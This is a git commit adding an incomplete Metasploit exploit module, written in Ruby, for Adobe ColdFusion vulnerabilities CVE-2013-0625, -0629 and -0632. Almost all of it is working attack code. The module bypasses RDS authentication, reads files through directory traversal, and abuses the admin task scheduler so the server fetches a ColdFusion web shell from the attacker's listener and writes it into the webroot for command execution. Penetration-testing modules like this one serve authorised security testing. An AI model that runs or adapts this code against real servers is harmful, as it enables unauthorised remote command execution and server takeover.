Initial commit of an exploit module for the CVEs covered by APSB13-03.
Not complete but will currently get command execution on Coldfusion 9.x instances with CSRF protection disabledunstable
parent
0c25ffb4de
commit
f482496795
|
@ -0,0 +1,588 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'digest/sha1'
|
||||||
|
require 'openssl'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Adobe ColdFusion APSB13-03',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
|
||||||
|
* CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
|
||||||
|
* CVE-2013-0629: directory traversal
|
||||||
|
* CVE-2013-0632: authentication bypass
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2013-0625'],
|
||||||
|
[ 'CVE', '2013-0629'],
|
||||||
|
# we don't actually exploit this, as this is the backdoor
|
||||||
|
# dropped by malware exploiting the other vulnerabilities
|
||||||
|
[ 'CVE', '2013-0631'],
|
||||||
|
[ 'CVE', '2013-0632'],
|
||||||
|
],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Unix CMD',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Platform' => 'unix',
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Universal',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Platform' => 'java'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'Privileged' => true,
|
||||||
|
'Platform' => [ 'win', 'linux' ],
|
||||||
|
'DisclosureDate' => 'Jan 15 2013'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(80),
|
||||||
|
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
||||||
|
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
||||||
|
OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
exploitable = 0
|
||||||
|
exploitable += 1 if check_cve_2013_0629
|
||||||
|
exploitable += 1 if check_cve_2013_0632
|
||||||
|
exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# Login any way possible, returning the cookies if successful, empty otherwise
|
||||||
|
def login
|
||||||
|
cf_cookies = {}
|
||||||
|
|
||||||
|
ways = {
|
||||||
|
'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
|
||||||
|
'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
|
||||||
|
'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
|
||||||
|
}
|
||||||
|
ways.each do |what, how|
|
||||||
|
these_cookies = how.call
|
||||||
|
if got_auth? these_cookies
|
||||||
|
print_status "Authenticated using '#{what}' technique"
|
||||||
|
cf_cookies = these_cookies
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
|
||||||
|
cf_cookies
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# login
|
||||||
|
cf_cookies = login
|
||||||
|
# if we managed to login, get the listener read
|
||||||
|
datastore['URIPATH'] = rand_text_alphanumeric(6) + ".cfm"
|
||||||
|
start_service
|
||||||
|
# schedule and execute the task to request the coldfusion exec
|
||||||
|
# and drop it on disk
|
||||||
|
schedule_exec cf_cookies
|
||||||
|
# now that the coldfusion exec is on disk, execute it
|
||||||
|
res = send_request_raw(
|
||||||
|
{ 'uri' => "/CFIDE/" + datastore['URIPATH'], 'method' => 'GET' }, 25
|
||||||
|
)
|
||||||
|
print_status res.body.strip
|
||||||
|
# XXX: now what?
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri cli, request
|
||||||
|
vprint_status "Recieved connection from #{cli.peerhost}:#{cli.peerport}"
|
||||||
|
cf_payload = <<EOF
|
||||||
|
<cfparam name="url.cmd" type="string" default="id"/>
|
||||||
|
<cfparam name="url.args" type="string" default=""/>
|
||||||
|
<cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
|
||||||
|
<cfoutput>#output#</cfoutput>
|
||||||
|
EOF
|
||||||
|
send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
|
||||||
|
end
|
||||||
|
|
||||||
|
# Given a hash of cookie key value pairs, return a string
|
||||||
|
# suitable for use as an HTTP Cookie header
|
||||||
|
def build_cookie_header cookies
|
||||||
|
cookies.to_a.map { |a| a.join '=' }.join '; '
|
||||||
|
end
|
||||||
|
|
||||||
|
# this doesn't actually work
|
||||||
|
def twiddle_csrf cookies, enable=false
|
||||||
|
mode = (enable ? "Enabling" : "Disabling")
|
||||||
|
print_status "#{mode} CSRF protection"
|
||||||
|
params = {
|
||||||
|
'SessEnable' => enable.to_s,
|
||||||
|
}
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),
|
||||||
|
'method' => 'POST',
|
||||||
|
'connection' => 'TE, close',
|
||||||
|
'cookie' => build_cookie_header(cookies),
|
||||||
|
'vars_post' => params,
|
||||||
|
})
|
||||||
|
if res
|
||||||
|
if res.body =~ /SessionManagement should/
|
||||||
|
print_error "Error #{mode} CSRF"
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error "No response while #{mode} CSRF"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def schedule_exec cookies
|
||||||
|
vprint_status "Attempting to schedule ColdFusion task"
|
||||||
|
cookie_hash = cookies
|
||||||
|
|
||||||
|
scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
|
||||||
|
scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
|
||||||
|
# make a request to the scheduletasks page to pick up the CSRF token
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path, scheduletasks_path),
|
||||||
|
'method' => 'GET',
|
||||||
|
'connection' => 'TE, close',
|
||||||
|
'cookie' => build_cookie_header(cookie_hash),
|
||||||
|
})
|
||||||
|
cookie_hash.merge! get_useful_cookies res
|
||||||
|
|
||||||
|
if res
|
||||||
|
# XXX: I can only seem to get this to work if 'Enable Session Variables'
|
||||||
|
# is disabled (Server Settings -> Memory Variables)
|
||||||
|
token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
|
||||||
|
unless token
|
||||||
|
print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
|
||||||
|
#twiddle_csrf cookies, false
|
||||||
|
token = ''
|
||||||
|
end
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
|
||||||
|
end
|
||||||
|
|
||||||
|
# make a request to the scheduletasks page again, this time passing in our CSRF token
|
||||||
|
# in an attempt to get all of the other cookies used in a request
|
||||||
|
cookie_hash.merge! get_useful_cookies res
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
|
||||||
|
'method' => 'GET',
|
||||||
|
'connection' => 'TE, close',
|
||||||
|
'cookie' => build_cookie_header(cookie_hash),
|
||||||
|
})
|
||||||
|
|
||||||
|
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res
|
||||||
|
|
||||||
|
# pick a unique task ID
|
||||||
|
task_id = SecureRandom.uuid
|
||||||
|
# drop the backdoor in the CFIDE directory so it can be executed
|
||||||
|
publish_file = '../../wwwroot/CFIDE/' + datastore['URIPATH']
|
||||||
|
# pick a start date. This must be in the future, so pick
|
||||||
|
# one sufficiently far ahead to account for time zones,
|
||||||
|
# improper time keeping, solar flares, drift, etc.
|
||||||
|
start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
|
||||||
|
params = {
|
||||||
|
'csrftoken' => token,
|
||||||
|
'TaskName' => task_id,
|
||||||
|
'Group' => 'default',
|
||||||
|
'Start_Date' => start_date,
|
||||||
|
'End_Date' => '',
|
||||||
|
'ScheduleType' => 'Once',
|
||||||
|
'StartTimeOnce' => '1:37 PM',
|
||||||
|
'Interval' => 'Daily',
|
||||||
|
'StartTimeDWM' => '',
|
||||||
|
'customInterval_hour' => '0',
|
||||||
|
'customInterval_min' => '0',
|
||||||
|
'customInterval_sec' => '0',
|
||||||
|
'CustomStartTime' => '',
|
||||||
|
'CustomEndTime' => '',
|
||||||
|
'repeatradio' => 'norepeatforeverradio',
|
||||||
|
'Repeat' => '',
|
||||||
|
'crontime' => '',
|
||||||
|
'Operation' => 'HTTPRequest',
|
||||||
|
'ScheduledURL' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{datastore['URIPATH']}",
|
||||||
|
'Username' => '',
|
||||||
|
'Password' => '',
|
||||||
|
'Request_Time_out' => '',
|
||||||
|
'proxy_server' => '',
|
||||||
|
'http_proxy_port' => '',
|
||||||
|
'publish' => '1',
|
||||||
|
'publish_file' => publish_file,
|
||||||
|
'publish_overwrite' => 'on',
|
||||||
|
'eventhandler' => '',
|
||||||
|
'exclude' => '',
|
||||||
|
'onmisfire' => '',
|
||||||
|
'onexception' => '',
|
||||||
|
'oncomplete' => '',
|
||||||
|
'priority' => '5',
|
||||||
|
'retrycount' => '3',
|
||||||
|
'advancedmode' => 'true',
|
||||||
|
'adminsubmit' => 'Submit',
|
||||||
|
'taskNameOriginal' => task_id,
|
||||||
|
'groupOriginal' => 'default',
|
||||||
|
'modeOriginal' => 'server',
|
||||||
|
}
|
||||||
|
|
||||||
|
cookie_hash.merge! (get_useful_cookies res)
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path, scheduleedit_path),
|
||||||
|
'method' => 'POST',
|
||||||
|
'connection' => 'TE, close',
|
||||||
|
'cookie' => build_cookie_header(cookie_hash),
|
||||||
|
'vars_post' => params,
|
||||||
|
})
|
||||||
|
|
||||||
|
if res
|
||||||
|
# if there was something wrong with the task, capture those errors
|
||||||
|
# print them and abort
|
||||||
|
errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
|
||||||
|
if errors.empty?
|
||||||
|
if res.body =~ /SessionManagement should/
|
||||||
|
fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
|
||||||
|
end
|
||||||
|
print_status "Created task #{task_id}"
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status "Executing task #{task_id}"
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
|
||||||
|
'method' => 'GET',
|
||||||
|
'connection' => 'TE, close',
|
||||||
|
'cookie' => build_cookie_header(cookie_hash),
|
||||||
|
})
|
||||||
|
|
||||||
|
#twiddle_csrf cookies, true
|
||||||
|
if datastore['DELETE_TASK']
|
||||||
|
print_status "Removing task #{task_id}"
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
|
||||||
|
'method' => 'GET',
|
||||||
|
'connection' => 'TE, close',
|
||||||
|
'cookie' => build_cookie_header(cookie_hash),
|
||||||
|
})
|
||||||
|
end
|
||||||
|
print_status publish_file
|
||||||
|
publish_file
|
||||||
|
end
|
||||||
|
|
||||||
|
# Given the HTTP response +res+, extract any interesting, non-empty
|
||||||
|
# cookies, returning them as a hash
|
||||||
|
def get_useful_cookies res
|
||||||
|
set_cookie = res.headers['Set-Cookie']
|
||||||
|
# Parse the Set-Cookie header
|
||||||
|
parsed_cookies = CGI::Cookie.parse(set_cookie)
|
||||||
|
|
||||||
|
# Clean up the cookies we got by:
|
||||||
|
# * Dropping Path and Expires from the parsed cookies -- we don't care
|
||||||
|
# * Dropping empty (reset) cookies
|
||||||
|
%w(Path Expires).each do |ignore|
|
||||||
|
parsed_cookies.delete ignore
|
||||||
|
parsed_cookies.delete ignore.downcase
|
||||||
|
end
|
||||||
|
parsed_cookies.keys.each do |name|
|
||||||
|
parsed_cookies[name].reject! { |value| value == '""' }
|
||||||
|
end
|
||||||
|
parsed_cookies.reject! { |name,values| values.empty? }
|
||||||
|
|
||||||
|
# the cookies always seem to start with CFAUTHORIZATION_, but
|
||||||
|
# give the module the ability to log what it got in the event
|
||||||
|
# that this stops becoming an OK assumption
|
||||||
|
unless parsed_cookies.empty?
|
||||||
|
vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
|
||||||
|
end
|
||||||
|
cookie_pattern = /^CF/
|
||||||
|
useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
|
||||||
|
if useful_cookies.empty?
|
||||||
|
vprint_status "No #{cookie_pattern} cookies found"
|
||||||
|
else
|
||||||
|
vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
|
||||||
|
end
|
||||||
|
useful_cookies
|
||||||
|
end
|
||||||
|
|
||||||
|
# Authenticates to ColdFusion Administrator via the adminapi using the
|
||||||
|
# specified +user+ and +password+. If +use_rds+ is true, it is assumed that
|
||||||
|
# the provided credentials are for RDS, otherwise they are assumed to be
|
||||||
|
# credentials for ColdFusion Administrator.
|
||||||
|
#
|
||||||
|
# Returns a hash (cookie name => value) of the cookies obtained
|
||||||
|
def adminapi_login user, password, use_rds
|
||||||
|
vprint_status "Attempting ColdFusion Administrator adminapi login"
|
||||||
|
user ||= ''
|
||||||
|
password ||= ''
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
|
||||||
|
'method' => 'POST',
|
||||||
|
'connection' => 'TE, close',
|
||||||
|
'vars_post' => {
|
||||||
|
'method' => 'login',
|
||||||
|
'adminUserId' => user,
|
||||||
|
'adminPassword' => password,
|
||||||
|
'rdsPasswordAllowed' => (use_rds ? '1' : '0')
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res
|
||||||
|
if res.code == 200
|
||||||
|
vprint_status "HTTP #{res.code} when authenticating"
|
||||||
|
return get_useful_cookies(res)
|
||||||
|
else
|
||||||
|
print_error "HTTP #{res.code} when authenticating"
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error "No response when authenticating"
|
||||||
|
end
|
||||||
|
|
||||||
|
{}
|
||||||
|
end
|
||||||
|
|
||||||
|
# Authenticates to ColdFusion Administrator using the specified +user+ and
|
||||||
|
# +password+
|
||||||
|
#
|
||||||
|
# Returns a hash (cookie name => value) of the cookies obtained
|
||||||
|
def administrator_login user, password
|
||||||
|
cf_cookies = administrator_9x_login user, password
|
||||||
|
unless got_auth? cf_cookies
|
||||||
|
cf_cookies = administrator_10x_login user, password
|
||||||
|
end
|
||||||
|
cf_cookies
|
||||||
|
end
|
||||||
|
|
||||||
|
def administrator_10x_login user, password
|
||||||
|
# coldfusion 10 appears to do:
|
||||||
|
# cfadminPassword.value = hex_sha1(cfadminPassword.value)
|
||||||
|
vprint_status "Trying ColdFusion 10.x Administrator login"
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_post' => {
|
||||||
|
'cfadminUserId' => user,
|
||||||
|
'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
|
||||||
|
'requestedURL' => '/CFIDE/administrator/index.cfm',
|
||||||
|
'submit' => 'Login',
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res
|
||||||
|
if res.code.to_s =~ /^30[12]/
|
||||||
|
useful_cookies = get_useful_cookies res
|
||||||
|
if got_auth? useful_cookies
|
||||||
|
return useful_cookies
|
||||||
|
end
|
||||||
|
else
|
||||||
|
if res.body =~ /<title>Error/i
|
||||||
|
print_status "Appears to be restricted and/or not ColdFusion 10.x"
|
||||||
|
elsif res.body =~ /A License exception has occurred/i
|
||||||
|
print_status "Is license restricted"
|
||||||
|
else
|
||||||
|
vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?"
|
||||||
|
vprint_status res.body
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return {}
|
||||||
|
end
|
||||||
|
|
||||||
|
def got_auth? cookies
|
||||||
|
not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
|
||||||
|
end
|
||||||
|
|
||||||
|
def administrator_9x_login user, password
|
||||||
|
vprint_status "Trying ColdFusion 9.x Administrator login"
|
||||||
|
# coldfusion 9 appears to do:
|
||||||
|
# cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
|
||||||
|
#
|
||||||
|
# You can get a current salt from
|
||||||
|
# http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
|
||||||
|
#
|
||||||
|
# Unfortunately that URL might be restricted and the salt really just looks
|
||||||
|
# to be the current time represented as the number of milliseconds since
|
||||||
|
# the epoch, so just use that
|
||||||
|
salt = (Time.now.to_i * 1000).to_s
|
||||||
|
pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_post' => {
|
||||||
|
'submit' => 'Login',
|
||||||
|
'salt' => salt,
|
||||||
|
'cfadminUserId' => user,
|
||||||
|
'requestedURL' => '/CFIDE/administrator/index.cfm',
|
||||||
|
'cfadminPassword' => pass,
|
||||||
|
}
|
||||||
|
})
|
||||||
|
if res
|
||||||
|
return get_useful_cookies res
|
||||||
|
else
|
||||||
|
print_error "No response while trying ColdFusion 9.x authentication"
|
||||||
|
end
|
||||||
|
|
||||||
|
{}
|
||||||
|
end
|
||||||
|
|
||||||
|
# Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
|
||||||
|
#
|
||||||
|
# Returns a hash (cookie name => value) of the cookies obtained
|
||||||
|
def componentutils_login user, password
|
||||||
|
vprint_status "Attempting ColdFusion ComponentUtils login"
|
||||||
|
vars = {
|
||||||
|
'j_password_required' => "Password+Required",
|
||||||
|
'submit' => 'Login',
|
||||||
|
}
|
||||||
|
vars['rdsUserId'] = user if user
|
||||||
|
vars['j_password'] = password if password
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
|
||||||
|
'method' => 'POST',
|
||||||
|
'connection' => 'TE, close',
|
||||||
|
'vars_post' => vars
|
||||||
|
})
|
||||||
|
|
||||||
|
cf_cookies = {}
|
||||||
|
if res.code.to_s =~ /^(?:200|30[12])$/
|
||||||
|
cf_cookies = get_useful_cookies res
|
||||||
|
else
|
||||||
|
print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
|
||||||
|
end
|
||||||
|
|
||||||
|
cf_cookies
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_cve_2013_0629
|
||||||
|
vulns = 0
|
||||||
|
paths = %w(../../../license.txt ../../../../license.html)
|
||||||
|
|
||||||
|
# first try password-less bypass in the event that this thing
|
||||||
|
# was just wide open
|
||||||
|
vuln_without_creds = false
|
||||||
|
paths.each do |path|
|
||||||
|
if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
|
||||||
|
vulns += 1
|
||||||
|
vuln_without_creds = true
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if vuln_without_creds
|
||||||
|
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
|
||||||
|
else
|
||||||
|
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
|
||||||
|
end
|
||||||
|
|
||||||
|
# if credentials are provided, try those too
|
||||||
|
if datastore['USERNAME'] and datastore['PASSWORD']
|
||||||
|
vuln_without_bypass = false
|
||||||
|
paths.each do |path|
|
||||||
|
cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']
|
||||||
|
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
|
||||||
|
vulns += 1
|
||||||
|
vuln_without_bypass = true
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if vuln_without_bypass
|
||||||
|
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
|
||||||
|
else
|
||||||
|
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
|
||||||
|
vuln_with_bypass = false
|
||||||
|
paths.each do |path|
|
||||||
|
cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true
|
||||||
|
# we need to take the cookie value from CFAUTHORIZATION_cfadmin
|
||||||
|
# and use it for CFAUTHORIZATION_componentutils
|
||||||
|
cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
|
||||||
|
cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
|
||||||
|
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
|
||||||
|
vulns += 1
|
||||||
|
vuln_with_bypass = true
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if vuln_with_bypass
|
||||||
|
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
|
||||||
|
else
|
||||||
|
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
|
||||||
|
end
|
||||||
|
|
||||||
|
vulns > 0
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checks for CVE-2013-0632, returning true if the target is
|
||||||
|
# vulnerable, false otherwise
|
||||||
|
def check_cve_2013_0632
|
||||||
|
if datastore['USERDS']
|
||||||
|
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
|
||||||
|
# subsequently *enabled* after install, the password is unset so we simply must
|
||||||
|
# check that and only that.
|
||||||
|
cf_cookies = adminapi_login 'foo', 'bar', true
|
||||||
|
if cf_cookies.empty?
|
||||||
|
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
|
||||||
|
else
|
||||||
|
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
|
||||||
|
end
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def traverse_read path, cookies
|
||||||
|
uri = normalize_uri(target_uri.path)
|
||||||
|
uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
|
||||||
|
uri << path
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => uri,
|
||||||
|
'method' => 'GET',
|
||||||
|
'connection' => 'TE, close',
|
||||||
|
'cookie' => build_cookie_header(cookies)
|
||||||
|
})
|
||||||
|
res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue